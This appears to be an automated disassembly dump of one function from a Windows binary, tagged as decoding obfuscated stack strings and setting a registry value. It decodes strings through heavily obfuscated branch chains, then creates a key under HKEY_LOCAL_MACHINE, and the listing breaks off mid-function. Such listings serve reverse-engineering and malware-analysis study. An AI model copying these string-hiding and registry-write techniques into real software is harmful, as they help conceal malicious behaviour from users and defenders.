Function at 0x140113240
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140278800]
xor rax, rsp
mov qword [rbp + 0x58], rax
mov rdi, rdx
mov r14, rcx
mov dword [rsp + 0x60], 0x5749506b
mov dword [rsp + 0x64], 0x14724049
mov dword [rsp + 0x68], 0x4e40435d
mov dword [rsp + 0x6c], 0x580d415a
mov dword [rsp + 0x70], 0x5c58455e
mov dword [rsp + 0x74], 0x4b5b7650
mov dword [rsp + 0x78], 0x515f7264
mov dword [rsp + 0x7c], 0x221d2432
mov word [rbp - 0x80], 0x1d2b
mov byte [rbp - 0x7e], 0xba
xorps xmm0, xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movabs rsi, 0xd2d13a9a161eb8f4
movabs r13, 0xd946ea68dc7b5e24
movabs r15, 0xf98146efb6fc1d8c
movabs r12, 0x46f3721dfe056144
movzx edx, byte [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x140113dec
movzx r11d, byte [rsp + rbx + 0x60]
movzx r10d, r11b
cmp r8, rbx
ja 0x140113de3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140113351
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
add dl, 4
jmp 0x14011338a
je 0x140113d6c
inc rax
cmp r8, rax
je 0x140113ce1
lea rax, [r9 + 3]
cmp r8, rax
je 0x140113ca8
lea rax, [r9 + 4]
cmp r8, rax
je 0x140113c82
lea rax, [r9 + 7]
cmp r8, rax
je 0x140113c38
movzx r10d, r11b
nop
cmp r9, rbx
ja 0x140113dda
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1401133bc
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
mov edx, Ordinal_46
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x140113400
lea rax, [r9 + 1]
cmp r8, rax
je 0x140113c15
inc rax
cmp r8, rax
je 0x140113be6
lea rax, [r9 + 3]
cmp r8, rax
je 0x140113bba
lea rax, [r9 + 4]
cmp r8, rax
je 0x140113b91
lea rax, [r9 + 6]
cmp r8, rax
je 0x140113b6e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1401138e5
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1401138cc
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1401138aa
lea rax, [r9 + 5]
cmp r8, rax
je 0x14011388b
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14011386d
lea rax, [r9 + 9]
cmp r8, rax
je 0x140113851
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140113838
lea rax, [r9 + 2]
cmp r8, rax
je 0x14011381a
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140113801
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140113410
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140113dbd
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140113da0
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1401135e3
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1401135c6
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1401135a9
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1401137b1
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140113761
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14011371e
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1401136fb
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140113410
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x400]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401136d1
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1401136b5
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140113699
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14011367d
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14011365e
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140113641
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140113622
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140113609
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140113410
lea r8, [r9 + 8]
lea r9, [r8 + 0x42]
jmp 0x140113410
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x140113400
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_select
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x140113390
movabs rcx, 0x94659d4c450ea4fc
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x140113326
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x140113c5d
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
dec rbx
inc rbx
jmp 0x140113312
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
movzx r10d, bl
jmp 0x140113b2d
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
add r8, r9
jmp 0x140113cc9
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113cc9
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113d06
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113d32
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113312
lea edx, [rbx - 0x54]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov byte [rsp + rbx + 0x60], dl
inc rbx
jmp 0x140113312
lea edx, [rbx + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx r10d, bl
cmp r9, 0x42
jb 0x140113712
add r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
lea edx, [rcx + rcx]
jmp 0x140113c5d
movzx r10d, bl
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r8, 0x400
jae 0x140113b13
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x140113a71
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113739
lea edx, [rbx - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 9
je 0x140113b54
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1401139d5
movzx r10d, bl
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x14011377d
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x140113d32
movzx r10d, bl
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
jmp 0x140113d0a
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x140113cc9
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
add r8, r9
jmp 0x140113cc9
movzx r10d, bl
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
jmp 0x140113b2d
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
dec rbx
inc rbx
jmp 0x140113312
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
inc r9
dec rbx
inc rbx
jmp 0x140113312
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
jmp 0x140113c5d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14011390e
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x1401137c8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14011393e
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113312
inc rax
cmp r8, rax
jne 0x14011395f
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x140113cc9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140113984
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
add r8, r9
jmp 0x140113cc9
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401139af
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
inc r9
dec rbx
inc rbx
jmp 0x140113312
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1401137c8
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
jmp 0x140113c5d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401139f7
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
jmp 0x140113c5d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140113a22
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x140113312
lea rax, [r9 + 4]
movzx r10d, bl
cmp r8, rax
jne 0x140113a47
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
jmp 0x140113b28
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14011377d
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113d0a
jne 0x140113aa1
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113312
inc rax
cmp r8, rax
jne 0x140113ac6
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113d0a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140113ae4
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
jmp 0x140113b28
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140113739
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
dec rbx
inc rbx
jmp 0x140113312
lea edx, [r10 - 0x60]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x60
add dl, cl
add dl, r11b
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, r11b
add r10b, dl
mov byte [rsp + rbx + 0x60], r10b
add r8, r9
jmp 0x140113cc9
movzx r10d, bl
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x58]
jmp 0x140113d0a
movabs rcx, 0x22437846be722a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7c
jmp 0x140113cc9
movabs rcx, 0x4f9662b2b2f0665c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 0x3e
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add r8, r9
jmp 0x140113cc9
movabs rcx, 0xea7ab90f4102edcc
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, gethostname
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
dec rbx
inc rbx
jmp 0x140113312
movabs rcx, 0x37ece43d880c3184
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x140113312
movabs rcx, 0x855f0f6bcf15753c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x140113c5d
movabs rdx, 0x204365c85d27fcac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx r11d, r10b
lea ecx, [rbx + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x64
add cl, r11b
mov byte [rsp + rbx + 0x60], cl
inc r9
dec rbx
inc rbx
jmp 0x140113312
movabs rdx, 0x560c1281794d0b8c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x140113cc9
movabs rdx, 0xa37e3dafc0564f44
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140113312
movabs rdx, 0xf0f068de075f92fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx r11d, r10b
movzx r10d, bl
add r10b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, r11b
movzx eax, r10b
mov byte [rsp + rbx + 0x60], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x50
add cl, r11b
mov byte [rsp + rbx + 0x60], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113312
movabs rdx, 0x8bd4bf3a95721a6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113312
sub bl, 0x4c
movzx eax, bl
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, bl
add dl, r11b
jmp 0x140113310
add bl, 0x6c
movzx eax, bl
and al, r11b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, bl
add dl, r11b
jmp 0x140113300
lea rbx, [rbp + 0x1633f90]
jmp 0x140113df1
lea rbx, [rbp + 0x15e9db4]
jmp 0x140113df1
lea rbx, [rsp + 0x60]
movzx edx, byte [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.140002dc0
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x140113e06
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.140004830
nop
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.1400034c0
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rdx, qword [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140116b40
mov byte [rbp + 0x31], 1
mov dword [rbp], 0x767a4460
mov byte [rbp + 4], reloc.WLDAP32.dll_Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 5], xmm0
mov qword [rbp + 0x15], rax
mov dword [rbp + 0x1d], eax
mov word [rbp + 0x21], ax
movabs rsi, 0x134876e8980b8622
movabs r15, 0xad8c2e2d5867b732
movabs r12, 0x39d964b9c8229266
movzx edx, byte [rbp + 0x30]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140114946
movzx r11d, byte [rbp + rbx]
mov edi, r11d
cmp r8, rbx
ja 0x14011493d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140113ef0
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x12
jmp 0x140113f1d
je 0x1401148ca
lea rax, [r9 + 3]
cmp r8, rax
je 0x14011489e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14011485e
lea rax, [r9 + 7]
cmp r8, rax
je 0x14011483c
movzx r10d, bl
cmp r9, rbx
ja 0x140114934
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140113f4d
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140113f90
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1401147f9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401147d7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401147b4
lea rax, [r9 + 6]
cmp r8, rax
je 0x140114794
lea rax, [rcx + 1]
cmp r8, rax
je 0x14011471a
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1401144cc
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1401144ba
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140114495
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14011446f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140114454
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140114431
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140114411
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1401143f7
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401143d9
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401143af
lea rax, [r9 + 1]
cmp r8, rax
je 0x140113fa0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140114914
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1401148f4
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140114188
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14011416c
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140114150
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14011436c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140114326
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401142e8
lea rcx, [r9 + 3]
cmp r8, rcx
jb 0x1401142c1
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140113fa0
mov r8, rcx
lea r9, [rcx + 0x2a]
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140114297
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x140114279
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x14011425f
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14011423f
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x14011421c
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x140114201
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1401141df
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1401141ba
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1401141a8
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140113fa0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x61]
jmp 0x140113fa0
lea edx, [r10 + 0x76]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3a
add dl, cl
jmp 0x140113f90
lea edx, [r10 + 0x32]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x5e
add dl, cl
jmp 0x140113f21
sub r10b, 0x12
movzx eax, r11b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140113ec5
lea edx, [r10 + 0x50]
movzx eax, r11b
and al, dl
sub dl, 0x30
jmp 0x140114806
add r10b, 0xc
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x54
inc r9
dec rbx
inc rbx
jmp 0x140113eb2
sub r10b, 0x38
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x78
dec rbx
inc rbx
jmp 0x140113eb2
lea edx, [r10 - 0x7c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140114877
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1401148b2
sub r10b, 4
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1401148b2
lea edx, [r10 - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 8
jmp 0x140114730
add r10b, 0x74
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x2c
add dl, r10b
jmp 0x14011475a
add r10b, 0x30
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x50
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113eb2
sub r10b, 0x7a
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
mov byte [rbp + rbx], dl
inc rbx
jmp 0x140113eb2
lea edx, [r10 + 0x42]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
cmp r9, 0x20
jb 0x1401142dc
lea edx, [r10 - 0x74]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x140114810
lea edx, [r10 - 2]
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
cmp r8, 0x64
jae 0x1401146eb
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14011462b
lea edx, [r10 - 0x1c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3c
jmp 0x1401142fe
lea edx, [r10 - 0x46]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x16
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140114705
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140114568
lea edx, [r10 + 0x1a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
jmp 0x140114335
sub r10b, 0x44
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x24
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113eb2
add r10b, 0x78
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x48
add dl, r10b
jmp 0x14011475a
lea edx, [r10 + 0x34]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x6c
jmp 0x140114730
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1401148b2
sub r10b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1401148b2
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140114877
add r10b, 0x24
movzx eax, r11b
and al, r10b
mov ecx, 2
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x140113eb2
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
inc r9
dec rbx
inc rbx
jmp 0x140113eb2
lea edx, [r10 - 0x64]
movzx eax, r11b
and al, dl
sub dl, 0x44
jmp 0x140114806
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1401144f0
lea edx, [r10 + 0x22]
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140114381
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140114523
sub r10b, 0x6c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xc
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113eb2
inc rax
cmp r8, rax
jne 0x140114539
lea edx, [r10 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140114723
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140114383
add r10b, 0x2c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x34
dec rbx
inc rbx
jmp 0x140113eb2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14011458c
lea edx, [r10 + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14011480e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401145b4
add r10b, 0x6e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 2
add r8, r9
jmp 0x1401148b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401145dd
sub r10b, 0x4e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1401148b2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401145f4
lea edx, [r10 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x140114723
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14011433e
add r10b, 0x7e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x72
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113eb2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14011465e
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x18
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113eb2
inc rax
cmp r8, rax
jne 0x140114674
lea edx, [r10 - 0x50]
mov ecx, Ordinal_27
jmp 0x140114723
lea rax, [r9 + 4]
